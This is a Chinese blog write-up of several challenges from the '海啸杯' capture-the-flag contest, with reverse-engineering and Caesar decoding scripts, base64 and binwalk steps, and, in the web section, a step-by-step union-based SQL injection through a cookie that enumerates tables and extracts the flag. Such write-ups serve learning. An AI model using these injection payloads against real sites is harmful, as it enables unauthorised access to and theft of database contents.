海啸杯部分题目write up

海啸杯reverse

baby reverse

打开string window即可查看
在这里插入图片描述

easy reverse

按F5查看代码
打开看到有这么一串字符

在这里插入图片描述
再次点开puts里面的参数
在这里插入图片描述
说明!strcmp(v1, v0)的值要为1,然后strcmp函数为0的时候,里面的v1=v0
已知v0的值是:kanlxvdzTljyTfyTeuor ,现在就求v1的值(即a1)在这里插入图片描述
其中0xC表示十六进制,十进制是12,异或符的运算如下图,12异或12等于0,0异或一个数还是本身,所以就可以把等式左边的^12消去。然后写一个C脚本就可以得到flag

#include "stdio.h"
void main()
{ char a[20]="kanlxvdzTljyTfyTeuor";
  char b[20];
  int i;
  for(i=0;i<20;i++)
  {
  	b[i]=(a[i]-1)^12;
  }
  for(i=0;i<20;i++)
  {
  printf("%c", b[i]);
  }
}

海啸杯web

Gzmtu学生?

打开网页看到在这里插入图片描述
应该是要伪造ip和未受权访问,输入在这里插入图片描述
即可得到flag在这里插入图片描述

宁静致远

首先抓包,发现cookie的参数base64编码点奇怪在这里插入图片描述
url解码然后base64解码后发现是1,很明显的cookie注入。
1'order by 2 -- 查出字段为2
-1'union select 1,2 -- 查出显位为2
-1'union select 1,database()-- 查出数据库库名为ctf
-1'union select 1,(select table_name from information_schema.tables where table_schema='ctf' limit 0,1) -- 查出表名为flag
-1'union select 1,(select column_name from information_schema.columns where table_schema='ctf' and table_name='flag' limit 0,1) -- 查出字段名分别为id和flag
-1'union select 1,(select flag from ctf.flag limit 0,1) -- 查出数据flag{This_is_flag_give_you}
注意语句后面不要写成--+而是--,因为+是url的编码,+原本就是空格。

海啸杯misc

签到题

base64解码

import base64
f = open(r'flag.txt','r')
s = f.read()
f2 = open(r'flag.png','w')
flag = str(base64.b64decode(s))
f2.write(flag)
f2.close()
f.close()

运行一下这个python脚本即可得到flag
在这里插入图片描述

老烟枪

在这里插入图片描述
用binwalk分离一下即可得到隐藏的文件
在这里插入图片描述

海啸杯Cryptography

恺撒将军

/* Note:Your choice is C IDE */
#include "stdio.h"
void main()
{ char a[40]="]p{k]6wmfqozgJ<id[QidKkl[6Qy[5YEf6nziT@@";
  char b[40];
  int i;
  for(i=0;i<40;i++)
  {
      b[i]=a[i]-3;
  }
  for(i=0;i<40;i++)
  {
  printf("%c", b[i]);
  }
}

往前偏移3位,再base64解码即可得到flag
在这里插入图片描述

小明家的小菜园

栅栏密码,找个网站直接解开

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值